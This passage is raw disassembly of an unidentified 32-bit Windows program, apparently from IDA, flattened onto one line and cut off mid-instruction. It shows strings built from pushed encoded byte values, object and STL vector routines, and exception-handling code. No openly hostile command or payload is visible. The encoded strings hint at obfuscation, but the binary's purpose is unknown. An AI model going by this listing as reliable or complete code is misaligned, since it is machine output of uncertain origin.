esp push eax call sub_401870 lea eax, [esi+0F5Ah] mov ecx, esi push eax mov byte ptr [esp+38Ch], 33h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0C8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+90h] push 13h push ecx mov byte ptr [esp+3DCh], 34h call sub_4019C4 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 35h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edi, [esi+0E7Fh] mov ecx, esi push edi mov byte ptr [esp+38Ch], 36h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+218h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 37h call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 38h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea eax, [esi+0F11h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 39h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Ch push 13h push 13h push 3Fh push 5 mov byte ptr [esp+388h], 3Ah push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+84h] push 13h push ecx call sub_4019C4 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 3Bh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+107Eh] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Ch call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea eax, [esp+10h] mov ecx, offset byte_4D834F push eax mov [esp+14h], edi call sub_401A73 lea ecx, [esp+68h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 3Dh call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 3Eh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+1234h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Fh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0B0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+88h] push 13h push eax mov byte ptr [esp+3D4h], 40h call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 41h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+127Dh] mov byte ptr [esp+388h], 42h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1B8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 mov byte ptr [esp+370h], 43h push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+78h] push 13h push edx call sub_4019C4 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 44h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea eax, [esi+11EBh] mov ecx, esi push eax mov byte ptr [esp+38Ch], 45h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1E8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+80h] push 13h push ecx mov byte ptr [esp+3CCh], 46h call sub_4019C4 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 47h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+11A2h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 48h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0C8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+90h] push 13h push eax mov byte ptr [esp+3DCh], 49h call sub_4019C4 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 4Ah call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edi, [esi+10C7h] mov ecx, esi push edi mov byte ptr [esp+38Ch], 4Bh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1A0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 mov byte ptr [esp+370h], 4Ch push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 4Dh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+1159h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 4Eh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+84h] push 13h push eax mov byte ptr [esp+3D0h], 4Fh call sub_4019C4 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 50h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+12C6h] mov byte ptr [esp+388h], 51h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea edx, [esp+10h] mov ecx, offset byte_4D834F push edx mov [esp+14h], edi call sub_401A73 push offset byte_448F30 push offset word_4E8E5A call sub_40102D add esp, 8 lea ecx, [esp+230h] call sub_40142E lea ecx, [esp+260h] mov byte ptr [esp+358h], 52h call sub_40142E push 56D2h push 539h mov byte ptr [esp+360h], 53h call sub_4021C6 ; --------------------------------------------------------------------------- push eax lea eax, [esp+23Ch] push offset dword_4447F4 push eax call sub_40102D push 56D2h push 539h call sub_4021C6 ; --------------------------------------------------------------------------- push eax lea ecx, [esp+280h] push offset dword_4447F4 push ecx call sub_40102D add esp, 10h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+606h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+64Fh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+805h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+84Eh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+897h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+450h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+499h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+52Bh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+574h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+0B28h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+8E0h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+278h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+3BEh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1E8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+407h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+260h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+5BDh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+188h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+698h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+158h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+72Ah] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+128h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+6E1h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2C0h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+773h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2A8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+7BCh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp mov [esp+24h], esp push offset word_4E8E5A call sub_4014D3 lea ecx, [esi+251h] push ecx mov ecx, esi call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1A0h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+29Ah] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+170h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+2E3h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+0F8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+32Ch] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+248h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+375h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 16Dh call sub_4017EE push eax push offset byte_4493ED mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 1B6h call sub_4017EE push eax push offset dword_4493A4 mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] call sub_4017EE push eax push offset dword_449280 mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 124h call sub_4017EE push eax push offset word_449312 mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 0DBh call sub_4017EE push eax push offset byte_4492C9 mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 92h call sub_4017EE push eax push offset byte_44935B mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 1FFh call sub_4017EE push eax push offset byte_44947F mov ecx, offset word_44ACD6 call sub_4015A0 lea ecx, [esp+200h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 lea ecx, [esp+290h] mov byte ptr [esp+370h], 54h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax call sub_401870 lea ecx, [esp+128h] mov byte ptr [esp+388h], 55h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+0A4h], esp push eax call sub_401870 lea ecx, [esp+170h] mov byte ptr [esp+3A0h], 56h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+0C0h], esp push eax call sub_401870 mov ecx, offset word_44AC5E mov byte ptr [esp+3B8h], 53h call sub_40137F ; --------------------------------------------------------------------------- lea ecx, [esp+260h] mov byte ptr [esp+358h], 52h call sub_401226 lea ecx, [esp+230h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] mov byte ptr [esp+358h], 1Dh call sub_401226 lea ecx, [esp+2Ch] mov byte ptr [esp+358h], 1Ch call sub_401226 lea ecx, [esp+110h] mov byte ptr [esp+358h], 1Bh call sub_401226 lea ecx, [esp+2C0h] mov byte ptr [esp+358h], 1Ah call sub_401226 lea ecx, [esp+2A8h] mov byte ptr [esp+358h], 19h call sub_401226 lea ecx, [esp+140h] mov byte ptr [esp+358h], 18h call sub_401226 lea ecx, [esp+290h] mov byte ptr [esp+358h], 17h call sub_401226 lea ecx, [esp+170h] mov byte ptr [esp+358h], 16h call sub_401226 lea ecx, [esp+0E0h] mov byte ptr [esp+358h], 15h call sub_401226 lea ecx, [esp+1A0h] mov byte ptr [esp+358h], 14h call sub_401226 lea ecx, [esp+218h] mov byte ptr [esp+358h], 13h call sub_401226 lea ecx, [esp+1D0h] mov byte ptr [esp+358h], 12h call sub_401226 lea ecx, [esp+248h] mov byte ptr [esp+358h], 11h call sub_401226 lea ecx, [esp+200h] mov byte ptr [esp+358h], 10h call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+358h], 0Fh call sub_401226 lea ecx, [esp+0F8h] mov byte ptr [esp+358h], 0Eh call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+358h], 0Dh call sub_401226 lea ecx, [esp+2F0h] mov byte ptr [esp+358h], 0Ch call sub_401226 lea ecx, [esp+320h] mov byte ptr [esp+358h], 0Bh call sub_401226 lea ecx, [esp+2D8h] mov byte ptr [esp+358h], 0Ah call sub_401226 lea ecx, [esp+308h] mov byte ptr [esp+358h], 9 call sub_401226 lea ecx, [esp+338h] mov byte ptr [esp+358h], 8 call sub_401226 lea ecx, [esp+0C8h] mov byte ptr [esp+358h], 7 call sub_401226 lea ecx, [esp+158h] mov byte ptr [esp+358h], 6 call sub_401226 lea ecx, [esp+188h] mov byte ptr [esp+358h], 5 call sub_401226 lea ecx, [esp+68h] mov byte ptr [esp+358h], 4 call sub_401226 lea ecx, [esp+0B0h] mov byte ptr [esp+358h], 3 call sub_401226 lea ecx, [esp+1B8h] mov byte ptr [esp+358h], 2 call sub_401226 lea ecx, [esp+1E8h] mov byte ptr [esp+358h], 1 call sub_401226 lea ecx, [esp+80h] mov byte ptr [esp+358h], 0 call sub_401226 lea ecx, [esp+98h] mov dword ptr [esp+358h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+350h] pop edi pop esi mov large fs:0, ecx pop ebx add esp, 350h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 5E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409530 proc near ; CODE XREF: sub_401474j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_401983 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_409548 mov ecx, esi call sub_40191A ; --------------------------------------------------------------------------- loc_409548: ; CODE XREF: sub_409530+Fj mov ecx, esi call sub_401A46 lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_409530 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409570 proc near ; CODE XREF: sub_401A73j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40128A push eax mov ecx, esi call sub_401695 pop esi retn 4 sub_409570 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4095A0 proc near ; CODE XREF: sub_401A46j mov eax, [ecx+4] retn sub_4095A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4095C0 proc near ; CODE XREF: sub_40128Aj mov eax, [ecx+8] retn sub_4095C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4095E0 proc near ; CODE XREF: sub_401983j mov edx, [ecx+4] test edx, edx jnz short loc_4095EA xor eax, eax retn ; --------------------------------------------------------------------------- loc_4095EA: ; CODE XREF: sub_4095E0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_4095E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409610 proc near ; CODE XREF: sub_401695j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401A46 mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_401BAE mov ecx, edi call sub_401A46 lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_409610 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409660 proc near ; CODE XREF: sub_40191Aj var_40 = byte ptr -40h var_39 = byte ptr -39h var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_C = dword ptr -0Ch push 0FFFFFFFFh push offset SEH_409660 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3Ch+var_39] lea ecx, [esp+3Ch+var_38] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" nop call near ptr 76081F67h lea ecx, [esp+44h+var_40] mov [esp+44h+var_C], 0 push ecx lea ecx, [esp+48h+var_30] nop call near ptr 760A0430h lea edx, [esp+48h+var_34] push offset dword_440088 push edx call sub_437B22 sub_409660 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4096E0 proc near ; CODE XREF: sub_401BAEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_4097AB mov ecx, esi call sub_401983 cmp edi, eax jnb short loc_409713 mov ecx, esi call sub_401983 mov ebp, eax jmp short loc_409715 ; --------------------------------------------------------------------------- loc_409713: ; CODE XREF: sub_4096E0+26j mov ebp, edi loc_409715: ; CODE XREF: sub_4096E0+31j mov ecx, esi call sub_401983 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401CC1 ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4016E0 mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_401177 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4016E0 mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_401717 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_401983 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_4097AB: ; CODE XREF: sub_4096E0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_409809 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4016E0 mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_401177 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401FB4 mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409809: ; CODE XREF: sub_4096E0+D8j test edi, edi jbe short loc_409843 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4016E0 mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_401CDF mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401FB4 mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_409843: ; CODE XREF: sub_4096E0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_4096E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4098B0 proc near ; CODE XREF: sub_401717j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_4098D0 loc_4098C1: ; CODE XREF: sub_4098B0+1Ej push esi mov ecx, edi call sub_402090 add esi, 4 cmp esi, ebx jnz short loc_4098C1 loc_4098D0: ; CODE XREF: sub_4098B0+Fj pop edi pop esi pop ebx retn 8 sub_4098B0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4098F0 proc near ; CODE XREF: sub_401294j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_4098F0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409910 proc near ; CODE XREF: sub_402090j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_7 pop ecx retn 4 sub_409910 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409930 proc near ; CODE XREF: sub_4016E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_409962 push edi mov edi, [esp+10h+arg_8] loc_409946: ; CODE XREF: sub_409930+27j push esi push edi mov ecx, ebx call sub_4015B4 add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_409946 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_409930+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_409930 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409980 proc near ; CODE XREF: sub_401177j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_4099A7 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_409996: ; CODE XREF: sub_409980+23j push ebx push esi mov ecx, ebp call sub_4015B4 add esi, 4 dec edi jnz short loc_409996 pop esi pop ebx loc_4099A7: ; CODE XREF: sub_409980+Aj pop edi pop ebp retn 0Ch sub_409980 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4099C0 proc near ; CODE XREF: sub_401CC1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402059 sub_4099C0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4099F0 proc near ; CODE XREF: sub_4015B4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401145 add esp, 8 retn 8 sub_4099F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A20 proc near ; CODE XREF: sub_401FB4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_409A3D mov edx, [esp+arg_8] push esi loc_409A31: ; CODE XREF: sub_409A20+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_409A31 pop esi locret_409A3D: ; CODE XREF: sub_409A20+Aj retn sub_409A20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A50 proc near ; CODE XREF: sub_401CDFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_409A72 mov eax, [esp+arg_8] push esi loc_409A61: ; CODE XREF: sub_409A50+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_409A61 pop esi retn ; --------------------------------------------------------------------------- loc_409A72: ; CODE XREF: sub_409A50+Aj mov eax, [esp+arg_8] retn sub_409A50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409AB0 proc near ; CODE XREF: sub_402059j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_409ABA xor eax, eax loc_409ABA: ; CODE XREF: sub_409AB0+6j shl eax, 2 push eax call sub_437AEA sub_409AB0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AE0 proc near ; CODE XREF: sub_401145j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short 